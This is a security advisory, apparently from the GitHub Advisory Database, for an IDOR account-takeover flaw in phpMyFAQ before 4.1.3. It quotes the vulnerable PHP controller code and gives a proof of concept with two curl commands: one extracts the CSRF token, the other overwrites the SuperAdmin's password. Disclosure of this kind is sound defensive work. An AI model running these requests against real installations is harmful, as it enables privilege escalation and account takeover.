thorsten/phpmyfaq
Affected
- introduced
0, fixed4.1.3(ecosystem)
Fixed versions
4.1.3
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-35671
phpMyFAQ: IDOR Account Takeover
Summary
An Insecure Direct Object Reference (IDOR) vulnerability in phpMyFAQ's Admin API allows any authenticated administrator to change the password of any user account, including SuperAdmin accounts (userId=1), without authorization verification. An attacker with a low-privilege admin account can escalate privileges to full SuperAdmin control by simply changing the target user's ID in the API request body.
Details
File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php
Lines: 232-271
The overwritePassword() method at line 232 accepts PUT requests to /admin/api/user/overwrite-password:
#[Route(path: 'user/overwrite-password', name: 'admin.api.user.overwrite-password', methods: ['PUT'])]
public function overwritePassword(Request $request): JsonResponse
{
$this->userHasUserPermission(); // Only checks if user has USER_EDIT permission
$currentUser = CurrentUser::getCurrentUser($this->configuration);
$data = json_decode($request->getContent());
$userId = Filter::filterVar($data->userId, FILTER_VALIDATE_INT); // User-controlled!
$csrfToken = Filter::filterVar($data->csrf, FILTER_SANITIZE_SPECIAL_CHARS);
$newPassword = Filter::filterVar($data->newPassword, FILTER_SANITIZE_SPECIAL_CHARS);
$retypedPassword = Filter::filterVar($data->passwordRepeat, FILTER_SANITIZE_SPECIAL_CHARS);
if (!Token::getInstance($this->session)->verifyToken(page: 'overwrite-password', requestToken: $csrfToken)) {
return $this->json(['error' => ...], Response::HTTP_UNAUTHORIZED);
}
// NO check that $userId belongs to a user the admin should manage
// NO check that target user has lower or equal privileges
// Can overwrite password for ANY user, including SuperAdmin (userId=1)
$currentUser->getUserById((int) $userId, allowBlockedUsers: true);
$authSource->getEncryptionContainer($currentUser->getAuthData(key: 'encType'));
if (hash_equals($newPassword, $retypedPassword)) {
if (!$currentUser->changePassword($newPassword)) {
return $this->json(['error' => ...], Response::HTTP_BAD_REQUEST);
}
$this->adminLog->log($this->currentUser, AdminLogType::USER_CHANGE_PASSWORD->value . ':' . $userId);
return $this->json(['success' => ...], Response::HTTP_OK);
}
}
Root Causes:
PoC
Prerequisites: Authenticated admin session with USER_EDIT permission
Step 1 - Obtain Admin Session:
Log in as a low-privilege admin user (or exploit CVE-2026-XXXX-1 to take over any user first).
Step 2 - Extract CSRF Token:
CSRF token is embedded in admin pages:
curl -sL -b "PHPSESSID=admin_session" http://target/admin/index.php | grep -oP 'pmf-csrf-token.*?value="\K[^"]+'
Step 3 - Change SuperAdmin Password:
curl -X PUT -H "Content-Type: application/json" \
-b "PHPSESSID=admin_session" \
-d '{
"userId": 1,
"csrf": "admin_csrf_token_value",
"newPassword": "NewSuperAdminP@ss123!",
"passwordRepeat": "NewSuperAdminP@ss123!"
}' \
http://target/admin/api/user/overwrite-password
Response: {"success":"The password was successfully changed."}
Step 4 - Account Takeover:
Attacker now has SuperAdmin credentials and full control of phpMyFAQ.
Who is Impacted:
Attack Complexity: Low - only requires a valid admin session with USER_EDIT permission
Privilege Escalation: Any admin user can become SuperAdmin regardless of their assigned permissions
High Basis: The source's own band: HIGH
0, fixed 4.1.3 (ecosystem)4.1.3
The export has no generic command for this ecosystem.
0, fixed 4.1.3 (ecosystem)4.1.3
The export has no generic command for this ecosystem.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0